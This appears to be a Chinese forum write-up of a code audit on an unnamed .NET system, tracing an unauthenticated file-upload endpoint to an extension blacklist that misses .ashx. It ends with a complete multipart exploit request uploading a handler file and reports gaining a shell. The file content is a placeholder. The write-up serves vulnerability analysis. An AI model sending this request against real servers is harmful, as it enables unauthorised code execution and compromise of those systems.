某系统代码审计到getshell
坚*哈 发表于 上海 漏洞分析 239浏览 · 2024-12-20 08:08

该系统分为前端路由和后端路由
首先看到鉴权白名单,/file/UploadFile存在


看后端逻辑


这里可以看到判断IsFileStorageBack的值,通过web.config看


可以看到为0,那么就跳过if语句,走新版本文件上传,那么进入CreateFileStorageServ().UploadFile();
首先看看整体是否过滤,进入CreateFileStorageServ方法


但是这里SaveData跟不进去,那么在别的dll中,搜索


3个dll中都有
先打开
Form.Service.dll搜索StorageFactory,


跳入CreateStorage

可以看到storagetype不传入时候默认设置为0,那么进入"0" => new LocalStorage(),

这里进行了文件上传,传入的参数basepath,vguid,filename,basepath和vguid通过Combine方法进行拼接为路径
方法如下:


CheckInvalidPathChars对其中路径进行了检测


然后进入StorageHelper.MergePath拼接


接下来就是

using (FileStream fileStream = new FileStream(text, FileMode.OpenOrCreate, FileAccess.Write))
            {
                inputStream.CopyTo(fileStream);
                num = fileStream.Length;
                fileStream.Close();
            }

写文件操作

那么整体看下来,context并没有做过滤


获得文件名这里也没有做过滤
那么整体看下来SaveData方法中没有做过滤,那么回到


主方法,发现在SaveData方法之前StorageExtNameFilter_Calling,


跟据关键词定位发现这里的问题


可以看到对部分文件扩展名进行了过滤,但是他没过滤ashx后缀
其他的如下

跟进去看这些并不造成影响,那么就可以上传了,上传请求包如何构造呢,回到最开始的地方

protected JObject CloneRequestToJson(out Stream inputStream)
    {
        HttpRequestBase baseRequest = GetBaseRequest();
        JObject jObject = new JObject();
        string[] allKeys = baseRequest.Form.AllKeys;
        foreach (string text in allKeys)
        {
            string defaultValue = baseRequest.Form[text];
            jObject.SetDefultValue(text.ToLower(), defaultValue);
        }

        allKeys = baseRequest.QueryString.AllKeys;
        foreach (string text2 in allKeys)
        {
            string defaultValue2 = baseRequest.QueryString[text2];
            jObject.SetDefultValue(text2.ToLower(), defaultValue2);
        }

        string text3 = "";
        text3 = baseRequest.Url.PathAndQuery;
        jObject["pathandquery"] = (JToken)text3;
        string text4 = baseRequest.Headers.Get("storagetype");
        if (!string.IsNullOrWhiteSpace(text4))
        {
            jObject.SetDefultValue("storagetype", text4);
        }

        string text5 = baseRequest.Headers.Get("contentHeaders");
        if (!string.IsNullOrWhiteSpace(text5))
        {
            byte[] bytes = Convert.FromBase64String(text5);
            text5 = Encoding.UTF8.GetString(bytes);
            JObject jObject2 = JObject.Parse(text5);
            jObject.MergeInto(jObject2);
            jObject.MergeInto<JObject>("contentHeaders", jObject2);
        }

        bool flag = jObject.GetResult("storagetype", "").ToString() != "2";
        inputStream = null;
        if (baseRequest.Files != null && baseRequest.Files.Count > 0)
        {
            for (int j = 0; j < 1; j++)
            {
                HttpPostedFileBase httpPostedFileBase = baseRequest.Files[j];
                jObject["filename"] = (JToken)httpPostedFileBase.FileName;
                jObject["filelength"] = (JToken)(long)httpPostedFileBase.ContentLength;
                jObject["filecontenttype"] = (JToken)httpPostedFileBase.ContentType;
                inputStream = (flag ? httpPostedFileBase.InputStream : baseRequest.InputStream);
                if (!flag)
                {
                    byte[] array = new byte[httpPostedFileBase.InputStream.Length];
                    httpPostedFileBase.InputStream.Read(array, 0, array.Length);
                    jObject["filebuf"] = (JToken)array;
                    httpPostedFileBase.InputStream.Seek(0L, SeekOrigin.Begin);
                }
            }
        }
        else
        {
            inputStream = baseRequest.InputStream;
        }

        jObject.SetDefultValue("contenttype", baseRequest.ContentType);
        jObject.SetDefultValue("httpmethod", baseRequest.HttpMethod);
        jObject.SetDefultValue("vorgid", "0");
        return jObject;
    }

可以看到头文件storagetype传入0时候进入LocalStorage(),contentHeaders没有要求填空就行,


那么这里flag是true,inputStream = (flag ? httpPostedFileBase.InputStream : baseRequest.InputStream);走的是httpPostedFileBase.InputStream,
那么构造上传请求包

POST /File/UploadFile?a=1 HTTP/1.1
Host: x.x.x.x
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0
DNT: 1
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Length: 379

------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="basepath"


------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="vguid"

xxxxxxxxx
------WebKitFormBoundaryQIimhXw3aj8cZ3xg
Content-Disposition: form-data; name="file"; filename="123.ashx"

xxxxxx
------WebKitFormBoundaryQIimhXw3aj8cZ3xg--


成功连接

0 条评论
某人
表情
可输入 255
目录